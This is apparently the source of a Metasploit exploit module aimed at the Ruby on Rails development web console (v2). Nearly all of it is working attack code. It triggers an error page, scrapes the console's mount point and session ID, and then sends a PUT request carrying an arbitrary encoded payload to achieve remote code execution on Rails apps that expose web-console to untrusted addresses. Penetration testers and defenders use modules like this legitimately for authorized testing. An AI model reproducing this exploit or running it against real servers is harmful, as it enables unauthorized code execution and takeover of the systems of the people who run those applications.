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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Ruby on Rails Development Web Console (v2) Code Execution',
'Description' => %q{
This module exploits a remote code execution feature of the Ruby on Rails
framework. This feature is exposed if the config.web_console.whitelisted_ips
setting includes untrusted IP ranges and the web-console gem is enabled.
},
'Author' => ['hdm'],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://github.com/rails/web-console' ]
],
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Privileged' => false,
'Targets' => [ ['Automatic', {} ] ],
'DefaultOptions' => { 'PrependFork' => true },
'DisclosureDate' => 'May 2 2016',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(3000),
OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', '/missing404' ])
], self.class)
end
#
# Identify the web console path and session ID, then inject code with it
#
def exploit
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET'
}, 25)
unless res
print_error("Error: No response requesting #{datastore['TARGETURI']}")
return
end
unless res.body.to_s =~ /data-mount-point='([^']+)'/
if res.body.to_s.index('Application Trace') && res.body.to_s.index('Toggle session dump')
print_error('Error: The web console is either disabled or you are not in the whitelisted scope')
else
print_error("Error: No rails stack trace found requesting #{datastore['TARGETURI']}")
end
return
end
console_path = normalize_uri($1, 'repl_sessions')
unless res.body.to_s =~ /data-session-id='([^']+)'/
print_error("Error: No session id found requesting #{datastore['TARGETURI']}")
return
end
session_id = $1
print_status("Sending payload to #{console_path}/#{session_id}")
res = send_request_cgi({
'uri' => normalize_uri(console_path, session_id),
'method' => 'PUT',
'headers' => {
'Accept' => 'application/vnd.web-console.v2',
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_post' => {
'input' => payload.encoded
}
}, 25)
end
end
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